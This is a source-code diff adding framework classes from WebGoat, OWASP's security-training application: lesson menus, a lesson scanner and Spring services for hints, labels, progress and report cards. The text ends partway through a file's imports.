+     * <p>Returns the default "path" portion of a lesson's URL.</p>
+     * <p>
+     * <p>
+     * Legacy webgoat lesson links are of the form
+     * "attack?Screen=Xmenu=Ystage=Z". This method returns the path portion of
+     * the url, i.e., "attack" in the string above.
+     * <p>
+     * Newer, Spring-Controller-based classes will override this method to
+     * return "*.do"-styled paths.
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    protected String getPath() {
+        return "#lesson/";
+    }
+
+    /**
+     * Get the link that can be used to request this screen.
+     * <p>
+     * Rendering the link in the browser may result in Javascript sending
+     * additional requests to perform necessary actions or to obtain data
+     * relevant to the lesson or the element of the lesson selected by the
+     * user.  Thanks to using the hash mark "#" and Javascript handling the
+     * clicks, the user will experience less waiting as the pages do not have
+     * to reload entirely.
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    public String getLink() {
+        return String.format("%s%s.lesson", getPath(), getId());
+    }
+
+    /**
+     * Description of the Method
+     *
+     * @return Description of the Return Value
+     */
+    public String toString() {
+        return getTitle();
+    }
+
+    public final String getId() {
+        return this.getClass().getSimpleName();
+    }
+
+    public final String getPackage() {
+        var packageName = this.getClass().getPackageName();
+        //package name is the direct package name below lessons (any subpackage will be removed)
+        return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", "");
+
+
+
+    }
+
+
+
+}

src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java

@@ -0,0 +1,39 @@
+package org.owasp.webgoat.container.lessons;
+
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.security.core.context.SecurityContextHolder;
+
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.sql.Connection;
+
+/**
+ * Handler which sets the correct schema for the currently bounded user. This way users are not seeing each other
+ * data and we can reset data for just one particular user.
+ */
+@Slf4j
+public class LessonConnectionInvocationHandler implements InvocationHandler {
+
+    private final Connection targetConnection;
+
+    public LessonConnectionInvocationHandler(Connection targetConnection) {
+        this.targetConnection = targetConnection;
+    }
+
+    @Override
+    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+        var authentication = SecurityContextHolder.getContext().getAuthentication();
+        if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) {
+            try (var statement = targetConnection.createStatement()) {
+                statement.execute("SET SCHEMA \"" + user.getUsername() + "\"");
+            }
+        }
+        try {
+            return method.invoke(targetConnection, args);
+        } catch (InvocationTargetException e) {
+            throw e.getTargetException();
+        }
+    }
+}

src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java

@@ -0,0 +1,21 @@
+package org.owasp.webgoat.container.lessons;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+
+/**
+ * <p>LessonInfoModel class.</p>
+ *
+ * @author dm
+ * @version $Id: $Id
+ */
+@Getter
+@AllArgsConstructor
+public class LessonInfoModel {
+
+    private String lessonTitle;
+    private boolean hasSource;
+    private boolean hasSolution;
+    private boolean hasPlan;
+
+}

src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java

@@ -0,0 +1,166 @@
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.container.lessons;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * <p>LessonMenuItem class.</p>
+ *
+ * @author rlawson
+ * @version $Id: $Id
+ */
+public class LessonMenuItem {
+
+    private String name;
+    private LessonMenuItemType type;
+    private List<LessonMenuItem> children = new ArrayList<>();
+    private boolean complete;
+    private String link;
+    private int ranking;
+
+    /**
+     * <p>Getter for the field <code>name</code>.</p>
+     *
+     * @return the name
+     */
+    public String getName() {
+        return name;
+    }
+
+    /**
+     * <p>Setter for the field <code>name</code>.</p>
+     *
+     * @param name the name to set
+     */
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    /**
+     * <p>Getter for the field <code>children</code>.</p>
+     *
+     * @return the children
+     */
+    public List<LessonMenuItem> getChildren() {
+        return children;
+    }
+
+    /**
+     * <p>Setter for the field <code>children</code>.</p>
+     *
+     * @param children the children to set
+     */
+    public void setChildren(List<LessonMenuItem> children) {
+        this.children = children;
+    }
+
+    /**
+     * <p>Getter for the field <code>type</code>.</p>
+     *
+     * @return the type
+     */
+    public LessonMenuItemType getType() {
+        return type;
+    }
+
+    /**
+     * <p>Setter for the field <code>type</code>.</p>
+     *
+     * @param type the type to set
+     */
+    public void setType(LessonMenuItemType type) {
+        this.type = type;
+    }
+
+    /**
+     * <p>addChild.</p>
+     *
+     * @param child a {@link LessonMenuItem} object.
+     */
+    public void addChild(LessonMenuItem child) {
+        children.add(child);
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder bldr = new StringBuilder();
+        bldr.append("Name: ").append(name).append(" | ");
+        bldr.append("Type: ").append(type).append(" | ");
+        return bldr.toString();
+    }
+
+    /**
+     * <p>isComplete.</p>
+     *
+     * @return the complete
+     */
+    public boolean isComplete() {
+        return complete;
+    }
+
+    /**
+     * <p>Setter for the field <code>complete</code>.</p>
+     *
+     * @param complete the complete to set
+     */
+    public void setComplete(boolean complete) {
+        this.complete = complete;
+    }
+
+    /**
+     * <p>Getter for the field <code>link</code>.</p>
+     *
+     * @return the link
+     */
+    public String getLink() {
+        return link;
+    }
+
+    /**
+     * <p>Setter for the field <code>link</code>.</p>
+     *
+     * @param link the link to set
+     */
+    public void setLink(String link) {
+        this.link = link;
+    }
+
+    public void setRanking(int ranking) {
+        this.ranking = ranking;
+    }
+
+    public int getRanking() {
+        return this.ranking;
+    }
+
+
+}

src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java

@@ -0,0 +1,40 @@
+/***************************************************************************************************
+ * 
+ * 
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * 
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * 
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * 
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * 
+ * Getting Source ==============
+ * 
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * 
+ */
+
+package org.owasp.webgoat.container.lessons;
+
+/**
+ * <p>LessonMenuItemType class.</p>
+ *
+ * @author rlawson
+ * @version $Id: $Id
+ */
+public enum LessonMenuItemType {
+    CATEGORY,
+    LESSON,
+    STAGE
+}

src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java

@@ -0,0 +1,46 @@
+package org.owasp.webgoat.container.lessons;
+
+import lombok.Getter;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.stereotype.Component;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.regex.Pattern;
+
+@Component
+@Slf4j
+public class LessonScanner {
+
+    private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
+
+    @Getter
+    private final Set<String> lessons = new HashSet<>();
+
+    public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
+        try {
+            var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
+            for (var resource : resources) {
+                //WG can run as a fat jar or as directly from file system we need to support both so use the URL
+                var url = resource.getURL();
+                var matcher = lessonPattern.matcher(url.toString());
+                if (matcher.matches()) {
+                    lessons.add(matcher.group(1));
+                }
+            }
+            log.debug("Found {} lessons", lessons.size());
+        } catch (IOException e) {
+            log.warn("No lessons found...");
+        }
+
+    }
+
+    public List<String> applyPattern(String pattern) {
+        return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
+    }
+}

src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java

@@ -0,0 +1,19 @@
+package org.owasp.webgoat.container.service;
+
+import lombok.RequiredArgsConstructor;
+import org.springframework.context.ApplicationContext;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController("/environment")
+@RequiredArgsConstructor
+public class EnvironmentService {
+
+    private final ApplicationContext context;
+
+    @GetMapping("/server-directory")
+    public String homeDirectory() {
+        return context.getEnvironment().getProperty("webgoat.server.directory");
+    }
+
+}

src/main/java/org/owasp/webgoat/container/service/HintService.java

@@ -0,0 +1,61 @@
+/*
+ * To change this license header, choose License Headers in Project Properties.
+ * To change this template file, choose Tools | Templates
+ * and open the template in the editor.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import org.owasp.webgoat.container.lessons.Assignment;
+import org.owasp.webgoat.container.lessons.Hint;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * <p>HintService class.</p>
+ *
+ * @author rlawson
+ * @version $Id: $Id
+ */
+@RestController
+public class HintService {
+
+    public static final String URL_HINTS_MVC = "/service/hint.mvc";
+    private final WebSession webSession;
+
+    public HintService(WebSession webSession) {
+        this.webSession = webSession;
+    }
+
+    /**
+     * Returns hints for current lesson
+     *
+     * @return a {@link java.util.List} object.
+     */
+    @GetMapping(path = URL_HINTS_MVC, produces = "application/json")
+    @ResponseBody
+    public List<Hint> getHints() {
+        Lesson l = webSession.getCurrentLesson();
+        return createAssignmentHints(l);
+    }
+
+    private List<Hint> createAssignmentHints(Lesson l) {
+        if (l != null) {
+            return l.getAssignments().stream()
+                    .map(this::createHint)
+                    .flatMap(Collection::stream)
+                    .toList();
+        }
+        return List.of();
+    }
+
+    private List<Hint> createHint(Assignment a) {
+        return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList();
+    }
+}

src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java

@@ -0,0 +1,97 @@
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import lombok.AllArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.session.LabelDebugger;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.MediaType;
+import org.springframework.http.ResponseEntity;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.util.Map;
+
+/**
+ * <p>LabelDebugService class.</p>
+ *
+ * @author nbaars
+ * @version $Id: $Id
+ */
+@Controller
+@Slf4j
+@AllArgsConstructor
+public class LabelDebugService {
+
+    private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc";
+    private static final String KEY_ENABLED = "enabled";
+    private static final String KEY_SUCCESS = "success";
+
+    private LabelDebugger labelDebugger;
+
+    /**
+     * Checks if debugging of labels is enabled or disabled
+     *
+     * @return a {@link org.springframework.http.ResponseEntity} object.
+     */
+    @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
+    public @ResponseBody
+    ResponseEntity<Map<String, Object>> checkDebuggingStatus() {
+        log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled());
+        Map<String, Object> result = createResponse(labelDebugger.isEnabled());
+        return new ResponseEntity<>(result, HttpStatus.OK);
+    }
+
+    /**
+     * Sets the enabled flag on the label debugger to the given parameter
+     *
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
+     * @return a {@link org.springframework.http.ResponseEntity} object.
+     */
+    @RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
+    public @ResponseBody
+    ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) {
+        log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
+        Map<String, Object> result = createResponse(enabled);
+        labelDebugger.setEnabled(enabled);
+        return new ResponseEntity<>(result, HttpStatus.OK);
+    }
+
+    /**
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
+     * @return a {@link java.util.Map} object.
+     */
+    private Map<String, Object> createResponse(Boolean enabled) {
+        return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled);
+    }
+}

src/main/java/org/owasp/webgoat/container/service/LabelService.java

@@ -0,0 +1,71 @@
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.i18n.Messages;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.MediaType;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.Properties;
+
+
+/**
+ * <p>LabelService class.</p>
+ *
+ * @author zupzup
+ */
+@RestController
+@Slf4j
+@RequiredArgsConstructor
+public class LabelService {
+
+    public static final String URL_LABELS_MVC = "/service/labels.mvc";
+    private final Messages messages;
+    private final PluginMessages pluginMessages;
+
+    /**
+     * @return a map of all the labels
+     */
+    @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
+    @ResponseBody
+    public ResponseEntity<Properties> fetchLabels() {
+        var allProperties = new Properties();
+        allProperties.putAll(messages.getMessages());
+        allProperties.putAll(pluginMessages.getMessages());
+        return new ResponseEntity<>(allProperties, HttpStatus.OK);
+    }
+}

src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java

@@ -0,0 +1,36 @@
+package org.owasp.webgoat.container.service;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.LessonInfoModel;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+
+/**
+ * <p>LessonInfoService class.</p>
+ *
+ * @author dm
+ * @version $Id: $Id
+ */
+@RestController
+@AllArgsConstructor
+public class LessonInfoService {
+
+    private final WebSession webSession;
+
+    /**
+     * <p>getLessonInfo.</p>
+     *
+     * @return a {@link LessonInfoModel} object.
+     */
+    @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json")
+    public @ResponseBody
+    LessonInfoModel getLessonInfo() {
+        Lesson lesson = webSession.getCurrentLesson();
+        return new LessonInfoModel(lesson.getTitle(), false, false, false);
+    }
+
+}

src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java

@@ -0,0 +1,131 @@
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.lessons.Assignment;
+import org.owasp.webgoat.container.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.LessonMenuItem;
+import org.owasp.webgoat.container.lessons.LessonMenuItemType;
+import org.owasp.webgoat.container.session.Course;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.LessonTracker;
+import org.owasp.webgoat.container.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * <p>LessonMenuService class.</p>
+ *
+ * @author rlawson
+ * @version $Id: $Id
+ */
+@Controller
+@AllArgsConstructor
+public class LessonMenuService {
+
+    public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc";
+    private final Course course;
+    private final WebSession webSession;
+    private UserTrackerRepository userTrackerRepository;
+
+    @Value("#{'${exclude.categories}'.split(',')}")
+    private List<String> excludeCategories;
+
+    @Value("#{'${exclude.lessons}'.split(',')}")
+    private List<String> excludeLessons;
+
+    /**
+     * Returns the lesson menu which is used to build the left nav
+     *
+     * @return a {@link java.util.List} object.
+     */
+    @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json")
+    public
+    @ResponseBody
+    List<LessonMenuItem> showLeftNav() {
+        List<LessonMenuItem> menu = new ArrayList<>();
+        List<Category> categories = course.getCategories();
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+
+        for (Category category : categories) {
+            if (excludeCategories.contains(category.name())) {
+                continue;
+            }
+            LessonMenuItem categoryItem = new LessonMenuItem();
+            categoryItem.setName(category.getName());
+            categoryItem.setType(LessonMenuItemType.CATEGORY);
+            // check for any lessons for this category
+            List<Lesson> lessons = course.getLessons(category);
+            lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList();
+            for (Lesson lesson : lessons) {
+                if (excludeLessons.contains(lesson.getName())) {
+                    continue;
+                }
+                LessonMenuItem lessonItem = new LessonMenuItem();
+                lessonItem.setName(lesson.getTitle());
+                lessonItem.setLink(lesson.getLink());
+                lessonItem.setType(LessonMenuItemType.LESSON);
+                LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
+                boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson);
+                lessonItem.setComplete(lessonSolved);
+                categoryItem.addChild(lessonItem);
+            }
+            categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking());
+            menu.add(categoryItem);
+        }
+        return menu;
+
+    }
+
+    private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
+        boolean result = true;
+        for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
+            Assignment storedAssignment = entry.getKey();
+            for (Assignment lessonAssignment : currentLesson.getAssignments()) {
+                if (lessonAssignment.getName().equals(storedAssignment.getName())) {
+                    result = result && entry.getValue();
+                    break;
+                }
+            }
+
+        }
+        return result;
+    }
+}

src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java

@@ -0,0 +1,59 @@
+package org.owasp.webgoat.container.service;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import lombok.RequiredArgsConstructor;
+import org.owasp.webgoat.container.lessons.Assignment;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.util.List;
+
+
+/**
+ * <p>LessonProgressService class.</p>
+ *
+ * @author webgoat
+ */
+@Controller
+@RequiredArgsConstructor
+public class LessonProgressService {
+
+    private final UserTrackerRepository userTrackerRepository;
+    private final WebSession webSession;
+
+    /**
+     * Endpoint for fetching the complete lesson overview which informs the user about whether all the assignments are solved.
+     * Used as the last page of the lesson to generate a lesson overview.
+     *
+     * @return list of assignments
+     */
+    @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
+    @ResponseBody
+    public List<LessonOverview> lessonOverview() {
+        var userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        var currentLesson = webSession.getCurrentLesson();
+
+        if (currentLesson != null) {
+            var lessonTracker = userTracker.getLessonTracker(currentLesson);
+            return lessonTracker.getLessonOverview().entrySet().stream()
+                    .map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))
+                    .toList();
+        }
+        return List.of();
+    }
+
+    @AllArgsConstructor
+    @Getter
+    //Jackson does not really like returning a map of <Assignment, Boolean> directly, see http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json
+    //so creating intermediate object is the easiest solution
+    private static class LessonOverview {
+
+        private Assignment assignment;
+        private Boolean solved;
+
+    }
+}

src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java

@@ -0,0 +1,38 @@
+package org.owasp.webgoat.container.service;
+
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+
+/**
+ * <p>LessonTitleService class.</p>
+ *
+ * @author dm
+ * @version $Id: $Id
+ */
+@Controller
+public class LessonTitleService {
+
+    private final WebSession webSession;
+
+    public LessonTitleService(final WebSession webSession) {
+        this.webSession = webSession;
+    }
+
+    /**
+     * Returns the title for the current attack
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html")
+    public
+    @ResponseBody
+    String showPlan() {
+        Lesson lesson = webSession.getCurrentLesson();
+        return lesson != null ? lesson.getTitle() : "";
+    }
+
+}

src/main/java/org/owasp/webgoat/container/service/ReportCardService.java

@@ -0,0 +1,107 @@
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import lombok.Setter;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.session.Course;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.LessonTracker;
+import org.owasp.webgoat.container.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * <p>ReportCardService</p>
+ *
+ * @author nbaars
+ * @version $Id: $Id
+ */
+@Controller
+@AllArgsConstructor
+public class ReportCardService {
+
+    private final WebSession webSession;
+    private final UserTrackerRepository userTrackerRepository;
+    private final Course course;
+    private final PluginMessages pluginMessages;
+
+    /**
+     * Endpoint which generates the report card for the current use to show the stats on the solved lessons
+     */
+    @GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
+    @ResponseBody
+    public ReportCard reportCard() {
+        final ReportCard reportCard = new ReportCard();
+        reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
+        reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
+
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
+        reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
+        for (Lesson lesson : course.getLessons()) {
+            LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
+            final LessonStatistics lessonStatistics = new LessonStatistics();
+            lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
+            lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
+            lessonStatistics.setSolved(lessonTracker.isLessonSolved());
+            reportCard.lessonStatistics.add(lessonStatistics);
+        }
+        return reportCard;
+    }
+
+    @Getter
+    @Setter
+    private final class ReportCard {
+
+        private int totalNumberOfLessons;
+        private int totalNumberOfAssignments;
+        private int solvedLessons;
+        private int numberOfAssignmentsSolved;
+        private int numberOfLessonsSolved;
+        private List<LessonStatistics> lessonStatistics =  new ArrayList<>();
+    }
+
+    @Setter
+    @Getter
+    private final class LessonStatistics {
+        private String name;
+        private boolean solved;
+        private int numberOfAttempts;
+    }
+}

src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java

@@ -0,0 +1,69 @@
+/***************************************************************************************************
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import lombok.AllArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.flywaydb.core.Flyway;
+import org.owasp.webgoat.container.lessons.Initializeable;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.springframework.http.HttpStatus;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
